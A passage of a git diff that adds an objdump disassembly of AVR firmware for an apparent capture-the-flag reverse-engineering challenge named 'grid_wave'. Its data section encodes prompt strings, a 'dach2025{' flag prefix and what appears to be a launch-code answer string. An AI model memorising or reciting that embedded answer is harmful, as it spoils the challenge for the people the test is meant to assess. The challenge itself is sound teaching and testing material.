5c: 0c 94 49 00 jmp 0x92 ; 0x92 + 60: 0c 94 49 00 jmp 0x92 ; 0x92 + 64: 0c 94 49 00 jmp 0x92 ; 0x92 + 68: 11 24 eor r1, r1 + 6a: 1f be out 0x3f, r1 ; 63 + 6c: cf ef ldi r28, 0xFF ; 255 + 6e: d8 e0 ldi r29, 0x08 ; 8 + 70: de bf out 0x3e, r29 ; 62 + 72: cd bf out 0x3d, r28 ; 61 + 74: 12 e0 ldi r17, 0x02 ; 2 + 76: a0 e0 ldi r26, 0x00 ; 0 + 78: b1 e0 ldi r27, 0x01 ; 1 + 7a: e2 ec ldi r30, 0xC2 ; 194 + 7c: f8 e0 ldi r31, 0x08 ; 8 + 7e: 02 c0 rjmp .+4 ; 0x84 + 80: 05 90 lpm r0, Z+ + 82: 0d 92 st X+, r0 + 84: a4 3a cpi r26, 0xA4 ; 164 + 86: b1 07 cpc r27, r17 + 88: d9 f7 brne .-10 ; 0x80 + 8a: 0e 94 e6 03 call 0x7cc ; 0x7cc + 8e: 0c 94 5f 04 jmp 0x8be ; 0x8be + 92: 0c 94 00 00 jmp 0 ; 0x0 + 96: 10 92 c5 00 sts 0x00C5, r1 ; 0x8000c5 + 9a: 87 e6 ldi r24, 0x67 ; 103 + 9c: 80 93 c4 00 sts 0x00C4, r24 ; 0x8000c4 + a0: 88 e1 ldi r24, 0x18 ; 24 + diff --git a/cscg25/rev/grid_wave/dump b/cscg25/rev/grid_wave/dump new file mode 100644 index 0000000..8a721c1 --- /dev/null +++ b/cscg25/rev/grid_wave/dump @@ -0,0 +1,1356 @@ + +GRID_WAVE_4X8_LangleyMicros.vr: file format elf32-avr +GRID_WAVE_4X8_LangleyMicros.vr +architecture: avr:5, flags 0x00000102: +EXEC_P, D_PAGED +start address 0x00000000 + +Program Header: + LOAD off 0x00000074 vaddr 0x00000000 paddr 0x00000000 align 2**1 + filesz 0x000008c2 memsz 0x000008c2 flags r-x + LOAD off 0x00000936 vaddr 0x00800100 paddr 0x000008c2 align 2**0 + filesz 0x000001a4 memsz 0x000001a4 flags rw- + +Sections: +Idx Name Size VMA LMA File off Algn + 0 .data 000001a4 00800100 000008c2 00000936 2**0 + CONTENTS, ALLOC, LOAD, DATA + 1 .text 000008c2 00000000 00000000 00000074 2**1 + CONTENTS, ALLOC, LOAD, READONLY, CODE + 2 .comment 00000011 00000000 00000000 00000ada 2**0 + CONTENTS, READONLY + 3 .note.gnu.avr.deviceinfo 00000040 00000000 00000000 00000aec 2**2 + CONTENTS, READONLY +SYMBOL TABLE: +no symbols + + + +Disassembly of section .data: + +00800100 <.data>: + 800100: 05 04 cpc r0, r5 + 800102: 03 02 muls r16, r19 + 800104: 01 01 movw r0, r2 + 800106: 02 03 mulsu r16, r18 + 800108: 04 05 cpc r16, r4 + 80010a: e6 8b std Z+22, r30 ; 0x16 + 80010c: a2 50 subi r26, 0x02 ; 2 + 80010e: 24 d1 rcall .+584 ; 0x800358 + 800110: 4d 5c subi r20, 0xCD ; 205 + 800112: f3 3e cpi r31, 0xE3 ; 227 + 800114: 70 6d ori r23, 0xD0 ; 208 + 800116: e9 76 andi r30, 0x69 ; 105 + 800118: 6d 7a andi r22, 0xAD ; 173 + ... + 800122: 99 79 andi r25, 0x99 ; 153 + 800124: 82 5a subi r24, 0xA2 ; 162 + 800126: a1 eb ldi r26, 0xB1 ; 177 + 800128: d9 6e ori r29, 0xE9 ; 233 + 80012a: dc bc out 0x2c, r13 ; 44 + 80012c: 1b 8f std Y+27, r17 ; 0x1b + 80012e: 4e fd .word 0xfd4e ; ???? + 800130: 53 a9 ldd r21, Z+51 ; 0x33 + 800132: 0b 0e add r0, r27 + 800134: 0f 0c add r0, r15 + 800136: 05 08 sbc r0, r5 + 800138: 07 09 sbc r16, r7 + 80013a: 0b 0d add r16, r11 + 80013c: 0e 0f add r16, r30 + 80013e: 06 07 cpc r16, r22 + 800140: 09 08 sbc r0, r9 + 800142: 0c 0d add r16, r12 + 800144: 0b 0f add r16, r27 + 800146: 06 09 sbc r16, r6 + 800148: 09 07 cpc r16, r25 + 80014a: 0c 0f add r16, r28 + 80014c: 0b 0d add r16, r11 + 80014e: 07 08 sbc r0, r7 + 800150: 07 07 cpc r16, r23 + 800152: 0d 0f add r16, r29 + 800154: 0e 0b sbc r16, r30 + 800156: 07 07 cpc r16, r23 + 800158: 06 08 sbc r0, r6 + 80015a: 0d 0e add r0, r29 + 80015c: 0d 0c add r0, r13 + 80015e: 05 05 cpc r16, r5 + 800160: 06 09 sbc r16, r6 + 800162: 0e 0b sbc r16, r30 + 800164: 0c 0e add r0, r28 + 800166: 08 06 cpc r0, r24 + 800168: 05 05 cpc r16, r5 + 80016a: 0f 0c add r0, r15 + 80016c: 0f 0e add r0, r31 + 80016e: 09 09 sbc r16, r9 + 800170: 08 06 cpc r0, r24 + 800172: 0f 0c add r0, r15 + 800174: 0d 0d add r16, r13 + 800176: 09 05 cpc r16, r9 + 800178: 08 06 cpc r0, r24 + 80017a: 0e 0b sbc r16, r30 + 80017c: 0c 0b sbc r16, r28 + 80017e: 08 06 cpc r0, r24 + 800180: 05 05 cpc r16, r5 + 800182: 07 04 cpc r0, r7 + 800184: 0d 01 movw r0, r26 + 800186: 0a 06 cpc r0, r26 + 800188: 0f 03 fmul r16, r23 + 80018a: 0c 00 .word 0x000c ; ???? + 80018c: 09 05 cpc r16, r9 + 80018e: 02 0e add r0, r18 + 800190: 0b 08 sbc r0, r11 + 800192: 01 23 and r16, r17 + 800194: 45 67 ori r20, 0x75 ; 117 + 800196: 89 ab std Y+49, r24 ; 0x31 + 800198: cd ef ldi r28, 0xFD ; 253 + 80019a: fe dc rcall .-1540 ; 0x7ffb98 + 80019c: ba 98 cbi 0x17, 2 ; 23 + 80019e: 76 54 subi r23, 0x46 ; 70 + 8001a0: 32 10 cpse r3, r2 + 8001a2: f0 e1 ldi r31, 0x10 ; 16 + 8001a4: d2 c3 rjmp .+1956 ; 0x80094a + 8001a6: bc 01 movw r22, r24 + 8001a8: d8 01 movw r26, r16 + 8001aa: ed 01 movw r28, r26 + 8001ac: 04 02 muls r16, r20 + 8001ae: 18 02 muls r17, r24 + 8001b0: 64 61 ori r22, 0x14 ; 20 + 8001b2: 63 68 ori r22, 0x83 ; 131 + 8001b4: 32 30 cpi r19, 0x02 ; 2 + 8001b6: 32 35 cpi r19, 0x52 ; 82 + 8001b8: 7b 00 .word 0x007b ; ???? + 8001ba: 7d 00 .word 0x007d ; ???? + 8001bc: 5b 21 and r21, r11 + 8001be: 5d 20 and r5, r13 + 8001c0: 41 63 ori r20, 0x31 ; 49 + 8001c2: 74 69 ori r23, 0x94 ; 148 + 8001c4: 76 61 ori r23, 0x16 ; 22 + 8001c6: 74 69 ori r23, 0x94 ; 148 + 8001c8: 6e 67 ori r22, 0x7E ; 126 + 8001ca: 20 47 sbci r18, 0x70 ; 112 + 8001cc: 52 49 sbci r21, 0x92 ; 146 + 8001ce: 44 57 subi r20, 0x74 ; 116 + 8001d0: 41 56 subi r20, 0x61 ; 97 + 8001d2: 45 2e mov r4, r21 + 8001d4: 2e 2e mov r2, r30 + 8001d6: 0a 00 .word 0x000a ; ???? + 8001d8: 5b 21 and r21, r11 + 8001da: 5d 20 and r5, r13 + 8001dc: 49 6e ori r20, 0xE9 ; 233 + 8001de: 69 74 andi r22, 0x49 ; 73 + 8001e0: 69 61 ori r22, 0x19 ; 25 + 8001e2: 6c 69 ori r22, 0x9C ; 156 + 8001e4: 7a 69 ori r23, 0x9A ; 154 + 8001e6: 6e 67 ori r22, 0x7E ; 126 + 8001e8: 2e 2e mov r2, r30 + 8001ea: 2e 0a sbc r2, r30 + 8001ec: 00 5b subi r16, 0xB0 ; 176 + 8001ee: 21 5d subi r18, 0xD1 ; 209 + 8001f0: 20 4c sbci r18, 0xC0 ; 192 + 8001f2: 6f 61 ori r22, 0x1F ; 31 + 8001f4: 64 69 ori r22, 0x94 ; 148 + 8001f6: 6e 67 ori r22, 0x7E ; 126 + 8001f8: 20 61 ori r18, 0x10 ; 16 + 8001fa: 73 73 andi r23, 0x33 ; 51 + 8001fc: 65 74 andi r22, 0x45 ; 69 + 8001fe: 73 2e mov r7, r19 + 800200: 2e 2e mov r2, r30 + 800202: 0a 00 .word 0x000a ; ???? + 800204: 5b 2b or r21, r27 + 800206: 5d 20 and r5, r13 + 800208: 53 79 andi r21, 0x93 ; 147 + 80020a: 73 74 andi r23, 0x43 ; 67 + 80020c: 65 6d ori r22, 0xD5 ; 213 + 80020e: 20 6f ori r18, 0xF0 ; 240 + 800210: 6e 6c ori r22, 0xCE ; 206 + 800212: 69 6e ori r22, 0xE9 ; 233 + 800214: 65 2e mov r6, r21 + 800216: 0a 00 .word 0x000a ; ???? + 800218: 5b 2b or r21, r27 + 80021a: 5d 20 and r5, r13 + 80021c: 47 72 andi r20, 0x27 ; 39 + 80021e: 69 64 ori r22, 0x49 ; 73 + 800220: 77 61 ori r23, 0x17 ; 23 + 800222: 76 65 ori r23, 0x56 ; 86 + 800224: 20 61 ori r18, 0x10 ; 16 + 800226: 63 74 andi r22, 0x43 ; 67 + 800228: 69 76 andi r22, 0x69 ; 105 + 80022a: 61 74 andi r22, 0x41 ; 65 + 80022c: 65 64 ori r22, 0x45 ; 69 + 80022e: 2e 0a sbc r2, r30 + 800230: 00 47 sbci r16, 0x70 ; 112 + 800232: 52 49 sbci r21, 0x92 ; 146 + 800234: 44 57 subi r20, 0x74 ; 116 + 800236: 41 56 subi r20, 0x61 ; 97 + 800238: 45 20 and r4, r5 + 80023a: 4c 61 ori r20, 0x1C ; 28 + 80023c: 6e 67 ori r22, 0x7E ; 126 + 80023e: 6c 65 ori r22, 0x5C ; 92 + 800240: 79 20 and r7, r9 + 800242: 4d 69 ori r20, 0x9D ; 157 + 800244: 63 72 andi r22, 0x23 ; 35 + 800246: 6f 73 andi r22, 0x3F ; 63 + 800248: 79 73 andi r23, 0x39 ; 57 + 80024a: 74 65 ori r23, 0x54 ; 84 + 80024c: 6d 73 andi r22, 0x3D ; 61 + 80024e: 20 76 andi r18, 0x60 ; 96 + 800250: 32 2e mov r3, r18 + 800252: 33 2d mov r19, r3 + 800254: 52 43 sbci r21, 0x32 ; 50 + 800256: 31 0a sbc r3, r17 + 800258: 0a 00 .word 0x000a ; ???? + 80025a: 4c 41 sbci r20, 0x1C ; 28 + 80025c: 55 4e sbci r21, 0xE5 ; 229 + 80025e: 43 48 sbci r20, 0x83 ; 131 + 800260: 43 4f sbci r20, 0xF3 ; 243 + 800262: 44 45 sbci r20, 0x54 ; 84 + 800264: 3e 20 and r3, r14 + 800266: 00 47 sbci r16, 0x70 ; 112 + 800268: 72 31 cpi r23, 0x12 ; 18 + 80026a: 64 57 subi r22, 0x74 ; 116 + 80026c: 40 76 andi r20, 0x60 ; 96 + 80026e: 33 5f subi r19, 0xF3 ; 243 + 800270: 34 6e ori r19, 0xE4 ; 228 + 800272: 7a 40 sbci r23, 0x0A ; 10 + 800274: 70 70 andi r23, 0x00 ; 0 + 800276: 72 30 cpi r23, 0x02 ; 2 + 800278: 76 33 cpi r23, 0x36 ; 54 + 80027a: 64 3a cpi r22, 0xA4 ; 164 + 80027c: 3a 44 sbci r19, 0x4A ; 74 + 80027e: 33 52 subi r19, 0x23 ; 35 + 800280: 33 7a andi r19, 0xA3 ; 163 + 800282: 7a 33 cpi r23, 0x3A ; 58 + 800284: 44 5f subi r20, 0xF4 ; 244 + 800286: 44 30 cpi r20, 0x04 ; 4 + 800288: 6d 34 cpi r22, 0x4D ; 77 + 80028a: 31 6e ori r19, 0xE1 ; 225 + 80028c: 2b 2b or r18, r27 + 80028e: 00 53 subi r16, 0x30 ; 48 + 800290: 75 63 ori r23, 0x35 ; 53 + 800292: 63 65 ori r22, 0x53 ; 83 + 800294: 73 73 andi r23, 0x33 ; 51 + 800296: 0a 00 .word 0x000a ; ???? + 800298: 49 6e ori r20, 0xE9 ; 233 + 80029a: 63 6f ori r22, 0xF3 ; 243 + 80029c: 72 72 andi r23, 0x22 ; 34 + 80029e: 65 63 ori r22, 0x35 ; 53 + 8002a0: 74 0a sbc r7, r20 + ... + +Disassembly of section .text: + +00000000 <.text>: + 0: 0c 94 34 00 jmp 0x68 ; 0x68 + 4: 0c 94 49 00 jmp 0x92 ; 0x92 + 8: 0c 94 49 00 jmp 0x92 ; 0x92 + c: 0c 94 49 00 jmp 0x92 ; 0x92 + 10: 0c 94 49 00 jmp 0x92 ; 0x92 + 14: 0c 94 49 00 jmp 0x92 ; 0x92 + 18: 0c 94 49 00 jmp 0x92 ; 0x92 + 1c: 0c 94 49 00 jmp 0x92 ; 0x92 + 20: 0c 94 49 00 jmp 0x92 ; 0x92 + 24: 0c 94 49 00 jmp 0x92 ; 0x92 + 28: 0c 94 49 00 jmp 0x92 ; 0x92 + 2c: 0c 94 49 00 jmp 0x92 ; 0x92 + 30: 0c 94 49 00 jmp 0x92 ; 0x92 + 34: 0c 94 49 00 jmp 0x92 ; 0x92 + 38: 0c 94 49 00 jmp 0x92 ; 0x92 + 3c: 0c 94 49 00 jmp 0x92 ; 0x92 + 40: 0c 94 49 00 jmp 0x92 ; 0x92 + 44: 0c 94 49 00 jmp 0x92 ; 0x92 + 48: 0c 94 49 00 jmp 0x92 ; 0x92 + 4c: 0c 94 49 00 jmp 0x92 ; 0x92 + 50: 0c 94 49 00 jmp 0x92 ; 0x92 + 54: 0c 94 49 00 jmp 0x92 ; 0x92 + 58: 0c 94 49 00 jmp 0x92 ; 0x92 + 5c: 0c 94 49 00 jmp 0x92 ; 0x92 + 60: 0c 94 49 00 jmp 0x92 ; 0x92 + 64: 0c 94 49 00 jmp 0x92 ; 0x92 + 68: 11 24 eor r1, r1 + 6a: 1f be out 0x3f, r1 ; 63 + 6c: cf ef ldi r28, 0xFF ; 255 + 6e: d8 e0 ldi r29, 0x08 ; 8 + 70: de bf out 0x3e, r29 ; 62 + 72: cd bf out 0x3d, r28 ; 61 + 74: 12 e0 ldi r17, 0x02 ; 2 + 76: a0 e0 ldi r26, 0x00 ; 0 + 78: b1 e0 ldi r27, 0x01 ; 1 + 7a: e2 ec ldi r30, 0xC2 ; 194 + 7c: f8 e0 ldi r31, 0x08 ; 8 + 7e: 02 c0 rjmp .+4 ; 0x84 + 80: 05 90 lpm r0, Z+ + 82: 0d 92 st X+, r0 + 84: a4 3a cpi r26, 0xA4 ; 164 + 86: b1 07 cpc r27, r17 + 88: d9 f7 brne .-10 ; 0x80 + 8a: 0e 94 e6 03 call 0x7cc ; 0x7cc + 8e: 0c 94 5f 04 jmp 0x8be ; 0x8be + 92: 0c 94 00 00 jmp 0 ; 0x0 + 96: 10 92 c5 00 sts 0x00C5, r1 ; 0x8000c5 + 9a: 87 e6 ldi r24, 0x67 ; 103 + 9c: 80 93 c4 00 sts 0x00C4, r24 ; 0x8000c4 + a0: 88 e1 ldi r24, 0x18 ; 24 + a2: 80 93 c1 00 sts 0x00C1, r24 ; 0x8000c1 + a6: 86 e0 ldi r24, 0x06 ; 6 + a8: 80 93 c2 00 sts 0x00C2, r24 ; 0x8000c2 + ac: 08 95 ret + ae: 90 91 c0 00 lds r25, 0x00C0 ; 0x8000c0 + b2: 95 ff sbrs r25, 5 + b4: fc cf rjmp .-8 ; 0xae + b6: 80 93 c6 00 sts 0x00C6, r24 ; 0x8000c6 + ba: 08 95 ret + bc: cf 93 push r28 + be: df 93 push r29 + c0: ec 01 movw r28, r24 + c2: 89 91 ld r24, Y+ + c4: 88 23 and r24, r24 + c6: 19 f0 breq .+6 ; 0xce + c8: 0e 94 57 00 call 0xae ; 0xae + cc: fa cf rjmp .-12 ; 0xc2 + ce: df 91 pop r29 + d0: cf 91 pop r28 + d2: 08 95 ret + d4: 9c 01 movw r18, r24 + d6: fc 01 movw r30, r24 + d8: 90 e0 ldi r25, 0x00 ; 0 + da: 96 17 cp r25, r22 + dc: 41 f0 breq .+16 ; 0xee + de: 80 91 c0 00 lds r24, 0x00C0 ; 0x8000c0 + e2: 87 ff sbrs r24, 7 + e4: fc cf rjmp .-8 ; 0xde + e6: 80 91 c6 00 lds r24, 0x00C6 ; 0x8000c6 + ea: 8a 30 cpi r24, 0x0A ; 10 + ec: 29 f4 brne .+10 ; 0xf8 + ee: f9 01 movw r30, r18 + f0: e9 0f add r30, r25 + f2: f1 1d adc r31, r1 + f4: 10 82 st Z, r1 + f6: 08 95 ret + f8: 8d 30 cpi r24, 0x0D ; 13 + fa: c9 f3 breq .-14 ; 0xee + fc: 9f 5f subi r25, 0xFF ; 255 + fe: 81 93 st Z+, r24 + 100: ec cf rjmp .-40 ; 0xda + 102: cf 92 push r12 + 104: df 92 push r13 + 106: ef 92 push r14 + 108: ff 92 push r15 + 10a: 0f 93 push r16 + 10c: 1f 93 push r17 + 10e: cf 93 push r28 + 110: df 93 push r29 + 112: cd b7 in r28, 0x3d ; 61 + 114: de b7 in r29, 0x3e ; 62 + 116: 2a 97 sbiw r28, 0x0a ; 10 + 118: 0f b6 in r0, 0x3f ; 63 + 11a: f8 94 cli + 11c: de bf out 0x3e, r29 ; 62 + 11e: 0f be out 0x3f, r0 ; 63 + 120: cd bf out 0x3d, r28 ; 61 + 122: 7c 01 movw r14, r24 + 124: 8a e0 ldi r24, 0x0A ; 10 + 126: e6 ea ldi r30, 0xA6 ; 166 + 128: f1 e0 ldi r31, 0x01 ; 1 + 12a: de 01 movw r26, r28 + 12c: 11 96 adiw r26, 0x01 ; 1 + 12e: 01 90 ld r0, Z+ + 130: 0d 92 st X+, r0 + 132: 8a 95 dec r24 + 134: e1 f7 brne .-8 ; 0x12e + 136: 8e 01 movw r16, r28 + 138: 0f 5f subi r16, 0xFF ; 255 + 13a: 1f 4f sbci r17, 0xFF ; 255 + 13c: 6e 01 movw r12, r28 + 13e: 2b e0 ldi r18, 0x0B ; 11 + 140: c2 0e add r12, r18 + 142: d1 1c adc r13, r1 + 144: f8 01 movw r30, r16 + 146: 81 91 ld r24, Z+ + 148: 91 91 ld r25, Z+ + 14a: 8f 01 movw r16, r30 + 14c: 0e 94 5e 00 call 0xbc ; 0xbc + 150: f4 ee ldi r31, 0xE4 ; 228 + 152: 2c e4 ldi r18, 0x4C ; 76 + 154: 3c e0 ldi r19, 0x0C ; 12 + 156: 81 e0 ldi r24, 0x01 ; 1 + 158: f1 50 subi r31, 0x01 ; 1 + 15a: 20 40 sbci r18, 0x00 ; 0 + 15c: 30 40 sbci r19, 0x00 ; 0 + 15e: 80 40 sbci r24, 0x00 ; 0 + 160: d9 f7 brne .-10 ; 0x158 + 162: 00 c0 rjmp .+0 ; 0x164 + 164: 00 c0 rjmp .+0 ; 0x166 + 166: 00 00 nop + 168: 0c 15 cp r16, r12 + 16a: 1d 05 cpc r17, r13 + 16c: 59 f7 brne .-42 ; 0x144 + 16e: 80 eb ldi r24, 0xB0 ; 176 + 170: 91 e0 ldi r25, 0x01 ; 1 + 172: 0e 94 5e 00 call 0xbc ; 0xbc + 176: c7 01 movw r24, r14 + 178: 0e 94 5e 00 call 0xbc ; 0xbc + 17c: 8a eb ldi r24, 0xBA ; 186 + 17e: 91 e0 ldi r25, 0x01 ; 1 + 180: 2a 96 adiw r28, 0x0a ; 10 + 182: 0f b6 in r0, 0x3f ; 63 + 184: f8 94 cli + 186: de bf out 0x3e, r29 ; 62 + 188: 0f be out 0x3f, r0 ; 63 + 18a: cd bf out 0x3d, r28 ; 61 + 18c: df 91 pop r29 + 18e: cf 91 pop r28 + 190: 1f 91 pop r17 + 192: 0f 91 pop r16 + 194: ff 90 pop r15 + 196: ef 90 pop r14 + 198: df 90 pop r13 + 19a: cf 90 pop r12 + 19c: 0c 94 5e 00 jmp 0xbc ; 0xbc + 1a0: 2f 92 push r2 + 1a2: 3f 92 push r3 + 1a4: 4f 92 push r4 + 1a6: 5f 92 push r5 + 1a8: 6f 92 push r6 + 1aa: 7f 92 push r7 + 1ac: 8f 92 push r8 + 1ae: 9f 92 push r9 + 1b0: af 92 push r10 + 1b2: bf 92 push r11 + 1b4: cf 92 push r12 + 1b6: df 92 push r13 + 1b8: ef 92 push r14 + 1ba: ff 92 push r15 + 1bc: 0f 93 push r16 + 1be: 1f 93 push r17 + 1c0: cf 93 push r28 + 1c2: df 93 push r29 + 1c4: cd b7 in r28, 0x3d ; 61 + 1c6: de b7 in r29, 0x3e ; 62 + 1c8: ac 97 sbiw r28, 0x2c ; 44 + 1ca: 0f b6 in r0, 0x3f ; 63 + 1cc: f8 94 cli + 1ce: de bf out 0x3e, r29 ; 62 + 1d0: 0f be out 0x3f, r0 ; 63 + 1d2: cd bf out 0x3d, r28 ; 61 + 1d4: 1b 01 movw r2, r22 + 1d6: 58 a7 std Y+40, r21 ; 0x28 + 1d8: 4f a3 std Y+39, r20 ; 0x27 + 1da: 3b 8f std Y+27, r19 ; 0x1b + 1dc: 2a 8f std Y+26, r18 ; 0x1a + 1de: 1d 8b std Y+21, r17 ; 0x15 + 1e0: 0c 8b std Y+20, r16 ; 0x14 + 1e2: fb 01 movw r30, r22 + 1e4: 9c 01 movw r18, r24 + 1e6: 2c 5e subi r18, 0xEC ; 236 + 1e8: 3f 4f sbci r19, 0xFF ; 255 + 1ea: dc 01 movw r26, r24 + 1ec: 4d 91 ld r20, X+ + 1ee: 5d 91 ld r21, X+ + 1f0: 6d 91 ld r22, X+ + 1f2: 7d 91 ld r23, X+ + 1f4: cd 01 movw r24, r26 + 1f6: 41 93 st Z+, r20 + 1f8: 51 93 st Z+, r21 + 1fa: 61 93 st Z+, r22 + 1fc: 71 93 st Z+, r23 + 1fe: a2 17 cp r26, r18 + 200: b3 07 cpc r27, r19 + 202: 99 f7 brne .-26 ; 0x1ea + 204: ee 8a std Y+22, r14 ; 0x16 + 206: ff 8a std Y+23, r15 ; 0x17 + 208: c8 8e std Y+24, r12 ; 0x18 + 20a: d9 8e std Y+25, r13 ; 0x19 + 20c: ec 89 ldd r30, Y+20 ; 0x14 + 20e: fd 89 ldd r31, Y+21 ; 0x15 + 210: e0 5c subi r30, 0xC0 ; 192 + 212: ff 4f sbci r31, 0xFF ; 255 + 214: fe a3 std Y+38, r31 ; 0x26 + 216: ed a3 std Y+37, r30 ; 0x25 + 218: 2a 8d ldd r18, Y+26 ; 0x1a + 21a: 3b 8d ldd r19, Y+27 ; 0x1b + 21c: 20 5f subi r18, 0xF0 ; 240 + 21e: 3f 4f sbci r19, 0xFF ; 255 + 220: 3a a7 std Y+42, r19 ; 0x2a + 222: 29 a7 std Y+41, r18 ; 0x29 + 224: ae 01 movw r20, r28 + 226: 4f 5e subi r20, 0xEF ; 239 + 228: 5f 4f sbci r21, 0xFF ; 255 + 22a: 5a 8b std Y+18, r21 ; 0x12 + 22c: 49 8b std Y+17, r20 ; 0x11 + 22e: ae 89 ldd r26, Y+22 ; 0x16 + 230: bf 89 ldd r27, Y+23 ; 0x17 + 232: 6d 91 ld r22, X+ + 234: 7d 91 ld r23, X+ + 236: 8d 91 ld r24, X+ + 238: 9d 91 ld r25, X+ + 23a: bf 8b std Y+23, r27 ; 0x17 + 23c: ae 8b std Y+22, r26 ; 0x16 + 23e: 69 a3 std Y+33, r22 ; 0x21 + 240: 7a a3 std Y+34, r23 ; 0x22 + 242: 8b a3 std Y+35, r24 ; 0x23 + 244: 9c a3 std Y+36, r25 ; 0x24 + 246: e8 8d ldd r30, Y+24 ; 0x18 + 248: f9 8d ldd r31, Y+25 ; 0x19 + 24a: 21 91 ld r18, Z+ + 24c: f9 8f std Y+25, r31 ; 0x19 + 24e: e8 8f std Y+24, r30 ; 0x18 + 250: 2b 8b std Y+19, r18 ; 0x13 + 252: 4a 8d ldd r20, Y+26 ; 0x1a + 254: 5b 8d ldd r21, Y+27 ; 0x1b + 256: 58 a3 std Y+32, r21 ; 0x20 + 258: 4f 8f std Y+31, r20 ; 0x1f + 25a: 5d 8f std Y+29, r21 ; 0x1d + 25c: 4c 8f std Y+28, r20 ; 0x1c + 25e: d1 01 movw r26, r2 + 260: 14 96 adiw r26, 0x04 ; 4 + 262: cd 90 ld r12, X+ + 264: dd 90 ld r13, X+ + 266: ed 90 ld r14, X+ + 268: fc 90 ld r15, X + 26a: 17 97 sbiw r26, 0x07 ; 7 + 26c: 18 96 adiw r26, 0x08 ; 8 + 26e: 8d 91 ld r24, X+ + 270: 9d 91 ld r25, X+ + 272: 0d 90 ld r0, X+ + 274: bc 91 ld r27, X + 276: a0 2d mov r26, r0 + 278: f1 01 movw r30, r2 + 27a: 04 85 ldd r16, Z+12 ; 0x0c + 27c: 15 85 ldd r17, Z+13 ; 0x0d + 27e: 26 85 ldd r18, Z+14 ; 0x0e + 280: 37 85 ldd r19, Z+15 ; 0x0f + 282: fb 89 ldd r31, Y+19 ; 0x13 + 284: f3 30 cpi r31, 0x03 ; 3 + 286: 61 f1 breq .+88 ; 0x2e0 + 288: 80 f4 brcc .+32 ; 0x2aa + 28a: f1 30 cpi r31, 0x01 ; 1 + 28c: 11 f1 breq .+68 ; 0x2d2 + 28e: f2 30 cpi r31, 0x02 ; 2 + 290: 09 f0 breq .+2 ; 0x294 + 292: 43 c0 rjmp .+134 ; 0x31a + 294: 48 01 movw r8, r16 + 296: 59 01 movw r10, r18 + 298: 88 26 eor r8, r24 + 29a: 99 26 eor r9, r25 + 29c: aa 26 eor r10, r26 + 29e: bb 26 eor r11, r27 + 2a0: 8c 20 and r8, r12 + 2a2: 9d 20 and r9, r13 + 2a4: ae 20 and r10, r14 + 2a6: bf 20 and r11, r15 + 2a8: 25 c0 rjmp .+74 ; 0x2f4 + 2aa: 4b 89 ldd r20, Y+19 ; 0x13 + 2ac: 44 30 cpi r20, 0x04 ; 4 + 2ae: 39 f1 breq .+78 ; 0x2fe + 2b0: 45 30 cpi r20, 0x05 ; 5 + 2b2: 99 f5 brne .+102 ; 0x31a + 2b4: 48 01 movw r8, r16 + 2b6: 59 01 movw r10, r18 + 2b8: 80 94 com r8 + 2ba: 90 94 com r9 + 2bc: a0 94 com r10 + 2be: b0 94 com r11 + 2c0: 88 2a or r8, r24 + 2c2: 99 2a or r9, r25 + 2c4: aa 2a or r10, r26 + 2c6: bb 2a or r11, r27 + 2c8: 8c 24 eor r8, r12 + 2ca: 9d 24 eor r9, r13 + 2cc: ae 24 eor r10, r14 + 2ce: bf 24 eor r11, r15 + 2d0: 24 c0 rjmp .+72 ; 0x31a + 2d2: 46 01 movw r8, r12 + 2d4: 57 01 movw r10, r14 + 2d6: 88 26 eor r8, r24 + 2d8: 99 26 eor r9, r25 + 2da: aa 26 eor r10, r26 + 2dc: bb 26 eor r11, r27 + 2de: 0a c0 rjmp .+20 ; 0x2f4 + 2e0: 4c 01 movw r8, r24 + 2e2: 5d 01 movw r10, r26 + 2e4: 80 94 com r8 + 2e6: 90 94 com r9 + 2e8: a0 94 com r10 + 2ea: b0 94 com r11 + 2ec: 8c 28 or r8, r12 + 2ee: 9d 28 or r9, r13 + 2f0: ae 28 or r10, r14 + 2f2: bf 28 or r11, r15 + 2f4: 80 26 eor r8, r16 + 2f6: 91 26 eor r9, r17 + 2f8: a2 26 eor r10, r18 + 2fa: b3 26 eor r11, r19 + 2fc: 0e c0 rjmp .+28 ; 0x31a + 2fe: 4c 01 movw r8, r24 + 300: 5d 01 movw r10, r26 + 302: 8c 24 eor r8, r12 + 304: 9d 24 eor r9, r13 + 306: ae 24 eor r10, r14 + 308: bf 24 eor r11, r15 + 30a: 80 22 and r8, r16 + 30c: 91 22 and r9, r17 + 30e: a2 22 and r10, r18 + 310: b3 22 and r11, r19 + 312: 88 26 eor r8, r24 + 314: 99 26 eor r9, r25 + 316: aa 26 eor r10, r26 + 318: bb 26 eor r11, r27 + 31a: ec 8d ldd r30, Y+28 ; 0x1c + 31c: fd 8d ldd r31, Y+29 ; 0x1d + 31e: 41 91 ld r20, Z+ + 320: fd 8f std Y+29, r31 ; 0x1d + 322: ec 8f std Y+28, r30 ; 0x1c + 324: 4e 8f std Y+30, r20 ; 0x1e + 326: 6f a1 ldd r22, Y+39 ; 0x27 + 328: 78 a5 ldd r23, Y+40 ; 0x28 + 32a: e4 e0 ldi r30, 0x04 ; 4 + 32c: 4e 9f mul r20, r30 + 32e: 60 0d add r22, r0 + 330: 71 1d adc r23, r1 + 332: 11 24 eor r1, r1 + 334: 7c a7 std Y+44, r23 ; 0x2c + 336: 6b a7 std Y+43, r22 ; 0x2b + 338: f1 01 movw r30, r2 + 33a: 40 80 ld r4, Z + 33c: 51 80 ldd r5, Z+1 ; 0x01 + 33e: 62 80 ldd r6, Z+2 ; 0x02 + 340: 73 80 ldd r7, Z+3 ; 0x03 + 342: 49 a1 ldd r20, Y+33 ; 0x21 + 344: 5a a1 ldd r21, Y+34 ; 0x22 + 346: 6b a1 ldd r22, Y+35 ; 0x23 + 348: 7c a1 ldd r23, Y+36 ; 0x24 + 34a: 44 0e add r4, r20 + 34c: 55 1e adc r5, r21 + 34e: 66 1e adc r6, r22 + 350: 77 1e adc r7, r23 + 352: eb a5 ldd r30, Y+43 ; 0x2b + 354: fc a5 ldd r31, Y+44 ; 0x2c + 356: 40 81 ld r20, Z + 358: 51 81 ldd r21, Z+1 ; 0x01 + 35a: 62 81 ldd r22, Z+2 ; 0x02 + 35c: 73 81 ldd r23, Z+3 ; 0x03 + 35e: 44 0d add r20, r4 + 360: 55 1d adc r21, r5 + 362: 66 1d adc r22, r6 + 364: 77 1d adc r23, r7 + 366: 84 0e add r8, r20 + 368: 95 1e adc r9, r21 + 36a: a6 1e adc r10, r22 + 36c: b7 1e adc r11, r23 + 36e: ec 89 ldd r30, Y+20 ; 0x14 + 370: fd 89 ldd r31, Y+21 ; 0x15 + 372: 4e 8d ldd r20, Y+30 ; 